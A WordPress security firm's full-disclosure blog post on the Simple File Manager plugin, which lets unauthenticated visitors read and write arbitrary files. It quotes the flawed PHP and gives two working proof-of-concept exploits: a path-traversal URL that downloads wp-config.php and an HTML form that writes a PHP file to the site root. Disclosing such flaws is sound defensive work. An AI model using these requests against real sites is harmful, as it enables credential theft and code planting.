15 Apr 2022

Brand New WordPress File Manager Plugin Allows Anyone to View and Upload Arbitrary Files

Before new plugins are allowed in to WordPress’ plugin directory, they are claimed to go through a manual review:

After your plugin is manually reviewed, it will either be approved or you will be emailed and asked to provide more information and/or make corrections.

That is supposed to involve a review of the security of the plugin:

You will get an automated email telling you about the submission immediately. At that point, someone will manually download and review your code. If we find no issues with the security, documentation, or presentation, your plugin will be approved. If we determine there are issues, you will receive a second email with details explaining what needs to be fixed.

The head of WordPress, Matt Mullenweg, though, seems to believe those reviews don’t happen, but apparently doesn’t see an issue with claiming they are occurring (the WordPress website claims that one person has somehow reviewed 46,800 plugins).

Despite that, a file manager plugin, something that has obvious security concern, was allowed into the Plugin Directory despite containing a vulnerability that allows anyone to view arbitrary files on the website.

The plugin, Simple File Manager, came on to our radar when our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities caught a serious security vulnerability being introduced in to the plugin the day after it was introduced in to the Plugin Directory. That vulnerability allows uploading arbitrary files to the website.

We now are also running all the plugins used by customers through that on a weekly basis to provide additional protection for our customers.

The possibility of the second vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.

We tested and confirmed that our firewall plugin for WordPress protected against the type of exploitation of these vulnerabilities you would see in a mass hack, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.

Arbitrary File Viewing and Upload

The code that allows viewing and uploading arbitrary files is in the function sfm_index(), which is located in the file /admin/class-simple-file-manager-admin.php.

The code sets the value of the variable $file here:

185
186
187
		$file_path = sanitize_text_field( $_REQUEST['file'] );
 
		$file = $file_path ? $file_path : $abspath;

It then handles the file upload here:

252
253
254
255
256
257
258
	} elseif ( ( isset( $_GET['do'] ) ) && ( ( $_GET['do'] == 'view' ) || ( $_GET['do'] == 'edit' ) ) ) {
 
		if ( isset( $_POST['submit'] ) ) {
 
			$current_content = file_get_contents( $file );
 
			$new_content = wp_unslash( $_POST['editor-content'] );

And the file viewing here:

352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
	} elseif ( ( isset( $_GET['do'] ) ) && ( $_GET['do'] == 'download' ) ) {
 
		foreach( $disallowed_patterns as $pattern ) {
 
			if(fnmatch($pattern, $file)) {
 
				$this->err(403,"Files of this type are not allowed.");
 
			}
 
		}
 
		$filename = basename($file);
		$finfo = finfo_open(FILEINFO_MIME_TYPE);
		$http_referer = sanitize_url( $_SERVER['HTTP_REFERER'] );
 
		header('Content-Type: ' . finfo_file($finfo, $file));
		header('Content-Length: '. filesize($file));
		header(sprintf('Content-Disposition: attachment; filename=%s',
			strpos('MSIE',$http_referer) ? rawurlencode($filename) : "\"$filename\"" ));
		ob_flush();
		readfile($file);

There are no security checks done in that function that limit access to that functionality

What determines if that code is run code, relies on a function named is_sfm(), which is located in the file /includes/class-simple-file-manager.php. That attempts to check if you are on the plugin’s admin page, but actually only checks if you are requesting its URL:

156
157
158
159
160
161
162
163
public function is_sfm() {
 
	// e.g. https://www.domain.com/wp-admin/tools.php?page=simple-file-manager
	$request_uri = sanitize_text_field( $_SERVER['REQUEST_URI'] );
 
	if ( strpos( $request_uri, 'tools.php?page=' . $this->plugin_name ) !== false ) {
 
		return true; // Yes, this is the plugin's main page

So as the proof of concepts below confirm, the code is accessible even when not logged in to WordPress.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept for Arbitrary File Viewing

The following proof of concept will show the contents of the WordPress configuration file.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/tools.php?page=simple-file-manager&do=download&file=../wp-config.php

Proof of Concept for Arbitrary File Upload

The follow proof of concept will upload a file named proofofconcept.php to root directory of the website.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/tools.php?page=simple-file-manager&do=edit&file=../proofofconcept.php" method="POST">
<input type="hidden"  name="editor-content" value="<?php
echo 'proof of concept';" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.